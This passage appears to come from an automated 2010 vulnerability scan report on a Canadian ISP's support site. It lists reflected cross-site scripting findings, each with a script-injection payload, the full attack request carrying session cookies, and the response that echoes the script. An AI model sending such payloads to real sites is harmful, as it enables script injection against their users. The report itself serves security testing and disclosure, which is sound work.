3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:43 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js3ffa4"><script>alert(1)</script>2759b14755d/jquery.flash.js" />
...[SNIP]...

2.211. http://service.sympatico.ca/js/jquery.flash.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/jquery.flash.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dacb6"><script>alert(1)</script>d8158598182 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.flash.jsdacb6"><script>alert(1)</script>d8158598182 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:47 GMT
Connection: close
Set-Cookie: SMSESSION=tDaRSwCQMfYXPFVdhjT/BPUm84STprGRjaeWfjZ+x6+zld5rGdcfz0nFJgSk/UhKA2kg0u4cYNp47bwLA4SpVuTlCjMl8onfdT8Q1/nCIzBB7MpfRcJB6Xe1s5OgxJCLyvK/pyTd8NxOTtjtdRLZITg9bSo4V8KzRWhYbkuTnoSlHOP0SitMtu/0otNgmyONQtJfjnZC55LeR3PTZujiEvJ1IeLScfu+EWpEyReypP8txN3oJn9uVfDZEQENpekWTzmEik5guUN44CQWD0VWXNwWh224IvjfQ90WGB9pzsvfSL0RjADYyQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:47 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:47 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:47 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:47 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:47 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:47 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:47 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:47 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:47 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:47 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:47 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:47 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:47 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:47 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
idden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/jquery.flash.jsdacb6"><script>alert(1)</script>d8158598182" />
...[SNIP]...

2.212. http://service.sympatico.ca/js/jquery.fxqueues.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/jquery.fxqueues.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 873c9"><script>alert(1)</script>25c69d41099 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js873c9"><script>alert(1)</script>25c69d41099/jquery.fxqueues.js HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:29 GMT
Connection: close
Set-Cookie: SMSESSION=8NhB++D9zsbxbBFThdiVP9N5/tQg3oq0hOz03+m3MQQtYl7CS/6DbIiQmGMjmHxSok5cRJrVaKJzxUNzf4MpmBBLwlaAVHkW0pCKaqEk3qjbouxXb5vP/XkIhL5/NkH6s0F3IkuWXcxLTi0urXV25BXnLQx/qtLUPeGaMkZaHrPNj/MxVFYJ05cgRohKpKSROCgavkrn1YSMOmwmVS/TeBBPM3z3ehYCVxRDV7Vb5oeCMehk6L8vMdKUVc2F/C+YohTo9ErKtsVASnZJiPniEdQu+FXYu3D4ENpIvNSO5/4jfzt6c0nPrg==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:29 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:29 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:29 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:29 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:29 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:29 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:29 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:29 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:29 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:29 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:29 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:29 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:29 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:29 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js873c9"><script>alert(1)</script>25c69d41099/jquery.fxqueues.js" />
...[SNIP]...

2.213. http://service.sympatico.ca/js/jquery.fxqueues.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://service.sympatico.ca
Path:   /js/jquery.fxqueues.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ec70"><script>alert(1)</script>a3162374281 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.fxqueues.js2ec70"><script>alert(1)</script>a3162374281 HTTP/1.1
Accept: */*
Referer: http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(1)%3C/script%3E08b85c0c654
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729)
Accept-Encoding: gzip, deflate
Host: service.sympatico.ca
Proxy-Connection: Keep-Alive
Cookie: SMSESSION=I8d9V4Im+SYAmnr0ASgw3nUeJmDwFVQSOYsJHEu6TYIUttiYd5gH1Kd6dWK0gILb5phTqiMm2dv1QsQUxicewaMOdy8awKKMdI/GgFGClUq72TWn32TJgSBKRQqfIiWRruTs7w+LoQcwwDJPmA4acRIh9KXMDVvKk7VyGFGFFA37G0dvxDi0c2mVfmaZ8Q5ww6ZUKqGdDrdgKt9GFPq+nDBB1Hvb3pGAdPaElPrAPnILUj1yLFx1bO1oGFcAOQRd+JUYYLfek2SKRrygpl4wHaj8NUoxwdGItiRueGe3sz2stTwYB+licg==; BASE_CACHED_URL=index%2Ecfm; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; VOKEN_SEEN=0; CFID=122144238; CFTOKEN=86284596; UUID=7E7A2A7B%2D65B8%2DB18C%2D8210DF31E73E8B98; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:32 GMT
Connection: close
Set-Cookie: SMSESSION=oX/COksGk4GEXih/zMV8ZphHmxWh/itxJhLRSdShK/n8KX7FfI5UGt+8tNS0vBbJO8fwyTZGd9JA+xjvv1laW9Pak4fmVsFT4ujbtj4vm2SX052mFPl0ZxA03e8ze75+XWNRIsBoSr05xw+8g8qKacOtSAPQWthi76ugNiGbK+UwzNaJjxJJ+C0F67a51ewW/RcbN6lwQE7APyLz+2Jwm6ctZxnuIdqVNoSlv6osRHRBhGsxAP0L+8oUxTRkCGJ6RDqscOUhuplo1xKfZYu43x7Tx1eFCXYLw8PhiVuUiKFqF7w6/LrXLQ==; path=/
Set-Cookie: GEO_IPAD=;path=/
Set-Cookie: GEO_SPEED=Unknown;path=/
Set-Cookie: GEO_PROVIDER=Unknown;path=/
Set-Cookie: GEO_REGION=Unknown;path=/
Set-Cookie: GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7;expires=Thu, 25-Nov-2010 23:06:33 GMT;path=/
Set-Cookie: GEO_SPEED=Unknown;expires=Thu, 25-Nov-2010 23:06:33 GMT;path=/
Set-Cookie: GEO_PROVIDER=Unknown;expires=Thu, 25-Nov-2010 23:06:33 GMT;path=/
Set-Cookie: GEO_REGION=Unknown;expires=Thu, 25-Nov-2010 23:06:33 GMT;path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:33 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:33 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:33 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:33 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:33 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:33 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:33 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:33 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:33 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Br